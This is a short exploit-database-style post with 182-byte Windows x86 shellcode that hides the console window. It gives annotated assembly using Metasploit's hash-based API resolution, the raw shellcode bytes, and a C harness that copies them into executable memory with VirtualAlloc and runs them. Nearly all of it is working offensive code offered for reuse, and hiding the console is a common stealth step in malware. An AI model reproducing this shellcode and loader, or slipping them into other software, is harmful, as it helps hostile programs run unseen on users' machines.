182 bytes small Windows x86 hide console window shellcode.
607630eb3316f1c634f4844229c794ac/*
MIT License
Copyright (c) 2017 Ege BalcA+-
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
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The above copyright notice and this permission notice shall be included in all
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THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
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SOFTWARE.
# Win32 - Hide Console Window Shellcode (182 BYTES)
# Date: [11.03.2017]
# Author: [Ege BalcA+-]
# Tested on: [Win XP/Vista/7/8/8.1/10]
@egeblc
------------------------------------------------------------------
This shellcode will hide the console window...
[BITS 32]
[ORG 0]
pushad ; Save all register to stack
pushfd ; Save all flags to stack
cld
call Start
%include "API-BLOCK.asm"; Stephen Fewer's hash API from metasploit project
Start:
pop ebp ; Pop the address of SFHA
push 0x00000000 ; Push the byte 'user32' ,0,0
push 0x00003233 ; ...
push 0x72657375 ; ...
push esp ; Push a pointer to the "user32" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "user32" )
add esp,0x0C ; Clear the stack
push 0xCE726E89 ; hash("user32.dll", "GetConsoleWindow")
call ebp ; GetConsoleWindow();
push 0x00000000 ; 0
push eax ; Console window handle
push 0x6E2EEBC2 ; hash(User32.dll, ShowWindow)
call ebp ; ShowWindow(HANDLE,SW_HIDE);
popfd ; Pop back all saved flags
popad ; Pop back all saved registers
ret ; Return
*/
#include <windows.h>
#include <stdio.h>
unsigned char Shellcode[] = {
0x60, 0x9c, 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31,
0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b,
0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c,
0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57,
0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48,
0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3,
0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf,
0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d,
0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c,
0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89,
0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f,
0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x00, 0x68, 0x33, 0x32,
0x00, 0x00, 0x68, 0x75, 0x73, 0x65, 0x72, 0x54, 0x68, 0x4c, 0x77, 0x26,
0x07, 0xff, 0xd5, 0x83, 0xc4, 0x0c, 0x68, 0x89, 0x6e, 0x72, 0xce, 0xff,
0xd5, 0x6a, 0x00, 0x50, 0x68, 0xc2, 0xeb, 0x2e, 0x6e, 0xff, 0xd5, 0x9d,
0x61, 0xc3
};
void ExecuteShellcode();
int main(int argc, char const *argv[])
{
ExecuteShellcode();
getchar();
return 0;
}
void ExecuteShellcode(){
char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(BUFFER, Shellcode, sizeof(Shellcode));
(*(void(*)())BUFFER)();
}